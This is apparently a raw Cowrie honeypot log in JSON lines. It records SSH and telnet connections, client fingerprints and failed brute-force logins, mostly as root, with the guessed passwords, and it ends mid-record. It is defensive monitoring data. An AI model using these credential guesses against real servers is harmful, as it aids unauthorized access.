{"eventid":"cowrie.login.failed","username":"root","password":"daxada","message":"login attempt [root/daxada] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T01:43:29.959102Z","src_ip":"103.98.149.87","session":"e81ac07efa19","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.1","message":"Connection lost after 2.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T01:43:31.181936Z","src_ip":"103.98.149.87","session":"e81ac07efa19","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"185.243.11.39","src_port":54764,"dst_ip":"10.17.0.5","dst_port":22,"session":"ce29a2113950","protocol":"ssh","message":"New connection: 185.243.11.39:54764 (10.17.0.5:22) [session: ce29a2113950]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T01:43:37.221012Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T01:43:37.224854Z","src_ip":"185.243.11.39","session":"ce29a2113950","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T01:43:37.317633Z","src_ip":"185.243.11.39","session":"ce29a2113950","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"coinomi2024","message":"login attempt [root/coinomi2024] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T01:43:37.596988Z","src_ip":"185.243.11.39","session":"ce29a2113950","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T01:43:38.693085Z","src_ip":"185.243.11.39","session":"ce29a2113950","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"203.121.40.210","src_port":16103,"dst_ip":"159.203.135.109","dst_port":22,"session":"8a4524913cc5","protocol":"ssh","message":"New connection: 203.121.40.210:16103 (159.203.135.109:22) [session: 8a4524913cc5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T01:43:43.033885Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T01:43:43.037032Z","src_ip":"203.121.40.210","session":"8a4524913cc5","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T01:43:43.395106Z","src_ip":"203.121.40.210","session":"8a4524913cc5","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Yh@123456","message":"login attempt [root/Yh@123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T01:43:44.790108Z","src_ip":"203.121.40.210","session":"8a4524913cc5","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"3.0","message":"Connection lost after 3.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T01:43:46.048221Z","src_ip":"203.121.40.210","session":"8a4524913cc5","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.4","src_port":58938,"dst_ip":"10.17.0.5","dst_port":22,"session":"efacdb23e42a","protocol":"ssh","message":"New connection: 91.92.40.4:58938 (10.17.0.5:22) [session: efacdb23e42a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T01:43:51.507205Z"}
{"eventid":"cowrie.session.closed","duration":"0.1","message":"Connection lost after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T01:43:51.592948Z","src_ip":"91.92.40.4","session":"efacdb23e42a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"94.138.209.214","src_port":55798,"dst_ip":"159.203.135.109","dst_port":22,"session":"90344be5a69d","protocol":"ssh","message":"New connection: 94.138.209.214:55798 (159.203.135.109:22) [session: 90344be5a69d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T01:43:53.338697Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T01:43:53.342690Z","src_ip":"94.138.209.214","session":"90344be5a69d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T01:43:53.477582Z","src_ip":"94.138.209.214","session":"90344be5a69d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"testuser","password":"1111","message":"login attempt [testuser/1111] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T01:43:54.052996Z","src_ip":"94.138.209.214","session":"90344be5a69d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"170.64.224.25","src_port":55574,"dst_ip":"159.203.135.109","dst_port":23,"session":"148fbb4494b3","protocol":"telnet","message":"New connection: 170.64.224.25:55574 (159.203.135.109:23) [session: 148fbb4494b3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T01:43:55.004100Z"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T01:43:55.191351Z","src_ip":"94.138.209.214","session":"90344be5a69d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"62.133.62.83","src_port":45974,"dst_ip":"159.203.135.109","dst_port":22,"session":"ccb75648b447","protocol":"ssh","message":"New connection: 62.133.62.83:45974 (159.203.135.109:22) [session: ccb75648b447]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T01:43:58.862571Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T01:43:58.867082Z","src_ip":"62.133.62.83","session":"ccb75648b447","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T01:43:58.945534Z","src_ip":"62.133.62.83","session":"ccb75648b447","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"140293","message":"login attempt [root/140293] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T01:43:59.186473Z","src_ip":"62.133.62.83","session":"ccb75648b447","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T01:44:00.267699Z","src_ip":"62.133.62.83","session":"ccb75648b447","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":104.38478803634644,"message":"Connection lost after 104 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T01:44:01.773169Z","src_ip":"170.64.224.25","session":"8193a36c09ce","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"180.247.63.92","src_port":17204,"dst_ip":"10.17.0.5","dst_port":22,"session":"22caec44ce3b","protocol":"ssh","message":"New connection: 180.247.63.92:17204 (10.17.0.5:22) [session: 22caec44ce3b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T01:44:06.045187Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T01:44:06.049277Z","src_ip":"180.247.63.92","session":"22caec44ce3b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T01:44:06.307477Z","src_ip":"180.247.63.92","session":"22caec44ce3b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"qwerty654321","message":"login attempt [root/qwerty654321] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T01:44:07.372309Z","src_ip":"180.247.63.92","session":"22caec44ce3b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.6","message":"Connection lost after 2.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T01:44:08.634013Z","src_ip":"180.247.63.92","session":"22caec44ce3b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"210.90.155.178","src_port":54904,"dst_ip":"10.17.0.5","dst_port":22,"session":"4d873795b90e","protocol":"ssh","message":"New connection: 210.90.155.178:54904 (10.17.0.5:22) [session: 4d873795b90e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T01:44:41.462518Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T01:44:41.466580Z","src_ip":"210.90.155.178","session":"4d873795b90e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T01:44:41.674240Z","src_ip":"210.90.155.178","session":"4d873795b90e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"qwerty654321","message":"login attempt [root/qwerty654321] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T01:44:42.514813Z","src_ip":"210.90.155.178","session":"4d873795b90e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T01:44:43.720324Z","src_ip":"210.90.155.178","session":"4d873795b90e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":50.95447897911072,"message":"Connection lost after 50 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T01:44:45.958480Z","src_ip":"170.64.224.25","session":"148fbb4494b3","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"107.6.151.170","src_port":40454,"dst_ip":"159.203.135.109","dst_port":23,"session":"71c64b05ca4e","protocol":"telnet","message":"New connection: 107.6.151.170:40454 (159.203.135.109:23) [session: 71c64b05ca4e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T01:44:46.952705Z"}
{"eventid":"cowrie.session.closed","duration":0.0044040679931640625,"message":"Connection lost after 0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T01:44:46.956964Z","src_ip":"107.6.151.170","session":"71c64b05ca4e","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"103.27.238.120","src_port":46678,"dst_ip":"159.203.135.109","dst_port":22,"session":"26af120246b0","protocol":"ssh","message":"New connection: 103.27.238.120:46678 (159.203.135.109:22) [session: 26af120246b0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T01:44:58.948900Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T01:44:58.953624Z","src_ip":"103.27.238.120","session":"26af120246b0","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T01:44:59.229440Z","src_ip":"103.27.238.120","session":"26af120246b0","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"azert","message":"login attempt [root/azert] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T01:45:00.057131Z","src_ip":"103.27.238.120","session":"26af120246b0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T01:45:01.348394Z","src_ip":"103.27.238.120","session":"26af120246b0","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"203.121.40.210","src_port":42707,"dst_ip":"159.203.135.109","dst_port":22,"session":"e01ed4cf9157","protocol":"ssh","message":"New connection: 203.121.40.210:42707 (159.203.135.109:22) [session: e01ed4cf9157]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T01:45:29.717120Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T01:45:29.721462Z","src_ip":"203.121.40.210","session":"e01ed4cf9157","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 